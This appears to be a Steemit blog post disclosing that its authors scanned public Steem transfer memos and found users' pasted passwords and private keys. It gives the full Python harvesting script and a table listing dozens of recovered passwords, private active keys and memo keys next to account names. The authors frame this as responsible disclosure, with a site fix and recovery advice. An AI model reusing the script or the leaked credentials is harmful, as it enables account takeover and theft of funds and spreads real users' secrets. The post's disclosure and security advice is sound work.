Actually, we - @noisy & @lukmarcus - have gained access to 9 passwords, 2 private active keys and 64 private memo keys, but first, TL;DR:
TL;DR;
- no, we didn’t hack Steem blockchain
- no, we didn’t hack steemit.com website or any other service build on top of Steem
- we didn't steal those funds, despite the fact that we could easily do that
- we changed passwords of all compromised accounts
- we transferred all funds into saving accounts of each account (to show, that we do not want to take them)
- the problem is with 2 accounts to which we have active keys. We cannot change password without old password or owner key, so we make sure, that those funds are safe on saving accounts.
- what we did, we exploited a flaw in design of steemit website, which caused that many users made exactly the same fatal mistake:
What actually did happen?
Few days ago I noticed in my cousin's wallet, that he accidentally pasted his own password into wrong field (a memo field), when he made a transfer. I warned him, so he changed his password. But this got me thinking... if he could make such mistake, anyone could do that! And unfortunately I wasn't wrong :(
So I wrote a script, which analyze all transfers in Steem history, which checked each memo, whether it is a match with current public keys of a user:
import csv
import pymssql
import json
from steembase.account import PrivateKey, PasswordKey
from multiprocessing import Process, Queue, Manager
WORKERS = 8
q = '''
SELECT
TxTransfers.*,
sender.owner sender_owner,
sender.active sender_active,
sender.posting sender_posting,
sender.memo_key sender_memo_key,
receiver.owner receiver_,
receiver.active receiver_active,
receiver.posting receiver_posting,
receiver.memo_key receiver_memo_key
FROM TxTransfers
INNER JOIN Accounts as sender
ON TxTransfers."from" = sender.name
INNER JOIN Accounts as receiver
ON TxTransfers."to" = receiver.name
WHERE TxTransfers.type = 'transfer'
AND TxTransfers.memo != '';
'''
def get_keys(field):
return [key_auth[0] for key_auth in json.loads(field)['key_auths']]
def get_public_keys_from_fields(public_keys_by_account, account_name, owner_field, active_field, posting_field,
memo_key_field):
if account_name not in public_keys_by_account:
public_keys_by_account[account_name] = {
'owner': get_keys(owner_field),
'active': get_keys(active_field),
'posting': get_keys(posting_field),
'memo': [memo_key_field],
}
return public_keys_by_account[account_name]
def get_public_key_from_password(shared_dict, account_name, password):
if account_name + password not in shared_dict:
shared_dict[account_name + password] = str(
PasswordKey(account_name, password, 'owner').get_private_key().pubkey)
return shared_dict[account_name + password]
def get_public_key_from_private(shared_dict, priv_key):
if priv_key not in shared_dict:
shared_dict[priv_key] = str(PrivateKey(priv_key).pubkey)
return shared_dict[priv_key]
def worker(
pid,
transactions_queue,
results_queue,
public_keys_from_passwords,
public_keys_from_private_keys
):
print('[{}] worker started'.format(pid))
while not transactions_queue.empty():
i, account_name, public_keys, memo = transactions_queue.get()
print('[{}][{}] Testing "{}" against "{}"'.format(i, pid, account_name, memo))
public_owner_key = get_public_key_from_password(public_keys_from_passwords, account_name, memo)
if public_owner_key in public_keys['owner']:
print("[{}] Gotcha! Found main password for '{}' account: {}".format(pid, account_name, memo))
results_queue.put((account_name, 'password', memo,))
else:
try:
some_public_key = get_public_key_from_private(public_keys_from_private_keys, memo)
for role in ['posting', 'active', 'owner', 'memo']:
for key in public_keys[role]:
if key == some_public_key:
print(
"[{}] Gotcha! Found private {} key for '{}' account: {}".format(
pid, role, account_name, memo
)
)
results_queue.put((account_name, role, memo,))
except AssertionError:
print('[{}] AssertionError: {}'.format(pid, memo))
continue
except ValueError as e:
if str(e) == 'Error loading Base58 object':
continue
elif str(e) == 'Odd-length string':
continue
print('[{}] worker ended'.format(pid))
def save_results(results_queue):
tmp = set()
with open('results.csv', 'w+') as file:
writer = csv.writer(file, quotechar="\"", delimiter=";", escapechar="\\")
writer.writerow(['account', 'type', 'memo'])
while True:
result = results_queue.get()
if result == 'kill':
break
if result not in tmp:
writer.writerow(result)
file.flush()
tmp.add(result)
def main():
manager = Manager()
existing_public_keys_by_account = {}
public_keys_generated_from_potential_passwords = manager.dict()
public_keys_generated_from_potential_private_keys = manager.dict()
transactions = Queue()
results = Queue()
conn = pymssql.connect('sql.steemsql.com', 'steemit', 'steemit', 'DBSteem')
cursor = conn.cursor()
cursor.execute(q)
with open('transactions.csv', 'w+') as file:
writer = csv.writer(file, quotechar="\"", delimiter=";", escapechar="\\")
writer.writerow((
'id', 'tx_id', 'type', 'from', 'to', 'amount', 'amount_symbol', 'memo', 'request_id', 'timestamp',
'sender_owner', 'sender_active', 'sender_posting', 'sender_memo_key',
'receiver_owner', 'receiver_active', 'receiver_posting', 'receiver_memo_key')
)
for row in cursor:
print('.', end='')
writer.writerow([str(item).replace('\r\n', '') for item in row])
with open('transactions.csv', 'r') as file:
reader = csv.reader(file, quotechar="\"", delimiter=";", escapechar="\\")
next(reader) # skipping the header
for i, (
id_, tx_id, type_, from_, to_, amount, amount_symbol, memo, request_id, timestamp,
sender_owner, sender_active, sender_posting, sender_memo_key,
receiver_owner, receiver_active, receiver_posting, receiver_memo_key
) in enumerate(reader):
sender_keys = get_public_keys_from_fields(
existing_public_keys_by_account, from_, sender_owner, sender_active, sender_posting, sender_memo_key
)
receiver_keys = get_public_keys_from_fields(
existing_public_keys_by_account, to_, receiver_owner, receiver_active, receiver_posting,
receiver_memo_key
)
transactions.put((i, from_, sender_keys, memo))
transactions.put((i, to_, receiver_keys, memo))
processes = []
for i in range(WORKERS):
p = Process(target=worker, args=(
i,
transactions,
results,
public_keys_generated_from_potential_passwords,
public_keys_generated_from_potential_private_keys
))
p.start()
processes.append(p)
listener = Process(target=save_results, args=(results,))
listener.start()
for p in processes:
p.join()
results.put('kill')
listener.join()
print("end")
if __name__ == '__main__':
main()
which returned:
account | type | memo |
---|---|---|
dunja | password | hurehurehure1234 |
anwen-meditates | password | P5Kk17eRvytzkRzzngp1CdVbQvRqFUq8wrvw8SqNdcZwXot2JRXA |
jakethedog | password | P5JEo9aSW6CAF6apUsMbxqSe6r991T5G35uXcoYMP1PmifBRqX87 |
miketr | password | P5JEZWqSV28XAGrwMXn5G2Sx4dADvS5mz4DrrtjoraY8nmB59Rrb |
blacktiger | password | P5HufQw3V442c4DREjUL4Ed4fQ41VzBhPtn5SkCBDJ25tuRFg1UC |
quetzal | password | P5KC2JAHPyuA5tBn4K8PxoLuwXqHx51GHy7tG3gD7DupKH8NxqZz |
tieuthuong | password | P5HybN5mguE6G2QB4BVKbreexEtxJD84veHcz4s3L9R8JLQ6m85V |
aubreyfox | password | P5J5wS2gkQBv3U6WPgHU9gUTitbWE4V5CKYeEhZGVa3VGgkzQU2p |
virtualgrowth | password | P5Kifqmdm38WPHpn2FUigLbhfD7FatHAHfcuRU5xSi16AFJFex3r |
trump | active | 5KWkAdBieGJ8TwrpudKjJ3txTGKdjKSBHPgjiH1RGgFRWXp8uM9 |
amrsaeed | active | 5JqaDeu2s3BsG9QYenpz2xjLfg3qdaeWhXduYNUSmK7KWAywx93 |
trump | memo | 5KWkAdBieGJ8TwrpudKjJ3txTGKdjKSBHPgjiH1RGgFRWXp8uM9 |
alao | memo | 5JBGwoooi1gEUXBhu6up1qWdsKKKG1TEakQwaBNMb95dup5f9xh |
athleteyoga | memo | 5KU2dcxLpSCJZ4SB8eBqUJs2PCEuwfx7w2XYCUmcnLqgdHHqjq2 |
beeridiculous | memo | 5KHkKyHpxDBuuKGt5QwTbb42bxmMUo1Xk9efBKU7wUoRed2Ak8z |
romanskv | memo | 5JzZ1BUHGrYrmu9Kms5mFK2nhQPFSxKHXp5mtcfMrQWioEgJTfE |
blockiechain | memo | 5JJZPu2z6DfhyGFsm9b458wff8H168f4yiAidbsWq55YSbFLd3a |
bloodhound | memo | 5JQZo8QDuQ1eDqsgMnVHg1ujqYNUTEDV4KYZyeSdbzSAbXMsSuV |
bryguy | memo | 5JdJHDcgeqyaHEgmyTbob221RUvttqyRVVPViAMzuq4hWJKw6sa |
churchsoftware | memo | 5KB3B3rHxvvaR3C2gfNyKkkReqdfbsjPs4AZ8ceiiR4B49oCDmJ |
chuckles | memo | 5KWf41ixGbPMpAxNhe47jtTVbyAi9Su4mZrHaVanYP2rQWoPUUk |
coincravings | memo | 5Jp6RJ71B824qc2cHXLPNYHZPD1BgxE2rFMyEpDszjqussW5iSA |
colombiana | memo | 5JaewDd6gw4AjXGhABCdZk2FHrwxHJnJDWZmkUzJYuny6rarbf3 |
cryptoeasy | memo | 5JNv71NgwCRUDAQu1NP67TDRVHKmRnnGLRfNFMwAKS8fTMLvLkQ |
datkrazykid | memo | 5JbiRrFrv9GLMjjPYZA8K7AWxAXQThs5AefWj1JgqjzMS2jLdng |
dollarvigilante | memo | 5Hqzx26rSmSJ2o5VB8gicf3F2Q6BU35n1nMNajcEmDxMietvUVx |
dethie | memo | 5K3BBi9pETRGG7KkS7VDrWY7exDCCi315prn2Mf9dTuR9vCejEH |
francoisstrydom | memo | 5Jkw1HdHc1ucwTosaqhXVAhyG848d1ZJprQsrwP1UEctazBvU3D |
farinspace | memo | 5JMckr9WkVbRZdbeMwQ6CNwTWBfrp4vTBy9K1YTJyZ76XBbRgZW |
golgappas | memo | 5K8zaCwcXWjQPjs6JGH896pGb6jENyMNU19g1hSsYXW1X2Dour1 |
goldrush | memo | 5JKCSn4xwHHCTBNy1MYJgbLDpYGR434A43gUvGPCVJPAs49GMvX |
hithere | memo | 5HxdErB3wPUDQKWEcjNBBWLpB1uJ8aMrY1tK5ZA1k56MqmTtT31 |
iaco | memo | 5JTYW5HfPJJX47VRT1Cq9Nz8aSruWKhETiD6oo9GPJNteQ5RPke |
inphinitbit | memo | 5J9uWL39vDYgEosscgxEziYQ2ybPbxM5e9sPkzTxgqTgNYC7Mx7 |
jellos | memo | 5JYXarzjE5afBtHcjhvdUcczrqCsfUEyxVRTKAFyDdjGatkTNNy |
kakradetome | memo | 5JuMh7FikJ1UVpUauF3J1e7MHj562z8Zmnp29pauVgPw3A4SgYC |
kingofdew | memo | 5HrSQ9yJizKCbDAu2Di9PnSuMPwMuNQCiKRdBUqzHFZySWQmtbL |
malyshew1973 | memo | 5KbD93C9XLGL4Aa4ncSpRnXCVuSRTvRRP6gANwHPbUeWBaPf4Eq |
leesmoketree | memo | 5Kctn9BvtxB3CXzzX4GMcmLygq42LqisCZr5MAy7VYPzvwX5o7u |
lichtblick | memo | 5J9jkRijjAn8o8DXt8R1ujSZHtahevVCw8CGzPEjnvCEsqkXjHy |
lopezro | memo | 5K6rmYGbHaGsAyGLpQMNupWcmjQFHvjX2GtYyCrC3KMgWAWcNci |
lostnuggett | memo | 5JEKwfrtSEFvw8P8qnWyDhfxnQTRB5Vn2WxwW3tE4gL4pZiwPcQ |
luani | memo | 5Jo7p98JCpTiH1q9kVC81etym4QSHRRpLDvxumRW7BXouDu8Yfd |
mama-c | memo | 5HqAhZBvbBJKVWJ1tsrg7xnS1dvNNyxBoHzp8Snvp9C6Uawx66x |
marionjoe | memo | 5KUpMmkx6hrPanwKzUvrHTonLDQkZAoiJwESogHAMSeuFsB1Lqc |
maxfuchs | memo | 5J9CvSGNyLBgUwhKtsTWCqTddbDZJ4tFrVSyWFzDstsQiG9spPe |
mkultra87f | memo | 5J8mDeubzJwEtHsbPzfUCVetNgPrVgQVHUBQDySH7v1qSS44DBf |
mrsgreen | memo | 5JyAaFEdEriRLpQ9uEXGoeNyHpw1TscqN6VP6iNjpoFbA8JCrMP |
nathanhollis | memo | 5Kk1N4nxMPbqVuJCVt3MUjz5dvJR716cUAdf6c3kToqzMqT8rRu |
murat | memo | 5K8R2J7xiLRN3HWdAy5Zym4taE74o9DWF8FV82HHFrqNUZDzdxW |
nikolad | memo | 5KdeDUj92w2HXsLH6V6SpNGPAeyBtJEU5jVoqZyjaHDkE39AkzF |
niliano | memo | 5KCPgZBnLziZC88e44j8GxK11XYdpQyo8WFxocBH24jAhEnVN6z |
norbu | memo | 5J5HyEwx54MwKW8gpsSBzvwAweHRjH11CXs85RCNWSooyPYRaeh |
onighost | memo | 5HwsjHgWMmJSLdiVgdxbRWqyvFtsKRC3Mk2tDzkpW4293ssTa6V |
pinkisland | memo | 5JAymGCYWxhojoyQsfAC4x619nq5vkcQBhMWjEZHwiitodBYFV5 |
rawmeen | memo | 5JnLMoPRry2n361tPxQq7MYy16tn5PuT2PmsP1FLrRGJsp1Vfem |
qamarpinkpanda | memo | 5K4SgN4tps3HRiyy49m5rfWNCZmyBVYv7eFF3CTRkcJJPQsExTb |
richarddean | memo | 5JPPUidz7rPN6VPHFJQbjnh8a3JQCDzP7fJSt93EQkUeLr3gmJJ |
saramiller | memo | 5K8My6Afbi6ff5CeFByB5e9zQG4QUX4MtMRHs7Ux9Tvu4ZSP7H4 |
slimjim | memo | 5HtkqVNSBj4kf6tyyyNPBgpnbgkrvATM1wBYY4mkNfxs9xiYHbv |
smisi | memo | 5Hsre3qaCDBcxwGiig5qFc65dwf2NfAssUUTXfCWFmbhbxPz7bL |
sraseef | memo | 5K558SavQVHXnKn6k8CoKe28T3FAmmAtRJuCMjpwdSwR6sT9rYq |
steemshop | memo | 5JRoiSJw18Vj3rGt5mrd4JeuxL1Wb1YpGyFDQu9pFrKmckr6kTu |
surpriseattack | memo | 5K8Be3nW33Lc5vqRUJx3xmoLFnMMmJPMthYHb16i7R2gwFTJqh3 |
tee-em | memo | 5KPT9Nhtho3qaAFkGQ4zqy7Dae1729WdYM5wL3UPyKVuTauonif |
theofphotography | memo | 5KRJ9qt8E9o6KXFhfyW7PJH7sDsmSBVaBeC8SmLR5LmReQii44Y |
thunderberry | memo | 5JxtXr2cMTkbU37CDtPyFdGuTT9fPceNemwnJDsqAdMoV5msLEP |
tomino | memo | 5JPBiMwfrqTdgZhW16LjdeMZv29gtKQC4eb4jyVTpk2Vvx5MHde |
worldclassplayer | memo | 5JQBm8pn5vwChYdoxx3tJw6dkBFeQpKBKia5roB9DqXZMoFdF4h |
writemore | memo | 5JJTZpTEvw4C7cnU7Q9NfzUnXSYqwYLLxkP7B3c39Z82Uwzj14d |
wthomas | memo | 5HwbsX4CTKtCJLH8QYuVBTvCbJYQwwFDiCCKy99uNLCHpoazo6N |
walcot | memo | 5KJjeTJGM8FjjDpj8mHRFpjae5SeSZ9Y8CGaBJC7VqFUGR25Qa6 |
vovaha | memo | 5J9Wxf1Xz1hXvMd7ubXHNZXhFoF1yhQT3GSHNVmRNXERCnBZJ7e |
The fix
I created and submitted a fix, to prevent such mistakes in a future:
https://github.com/steemit/condenser/pull/1464
FAQ:
My Account was hacked - what I should do?
Actually, I cannot reach you on steemit.chat or discord to give you your new generated password. Why is that? Because no one can have a certainty, that you actually have the same login on different service. I do not want to risk giving access to your account to someone who just pretend to be you.
You should go to: https://steemit.com/recover_account_step_1
and you will be able to restore access to your account with a help of steemit and your email address.
Important
My account is on a list, but only private memo key was exposed. What should I do?
You should change your password immediately.
You can do that on: https://steemit.com/@<your_login>/password
Right now (according to my knowledge) exposed memo key do not make a damage, but it was said few times, that those private keys in the future might be be used to encrypt private messages. Exposed private memo key would mean, that anyone could read your private messages. You don't want that, right?
What next?
You can expect from me in very near future few posts about security (for total newbies and for developers):
- How private and public keys works. What is the difference between password and a private key
- Why Steemit didn't detect that I checked passwords of 183388 users
- Very detail explanation of how passwords are stored by steemit in your browser, and why it is secure
- How to set own password, which is not generated by Steemit
- How to make you account on Steemit more secure, by using only private posting key for every-day use
Make sure, you follow me, to learn more about how to keep your fortune earned on Steemit more secure :)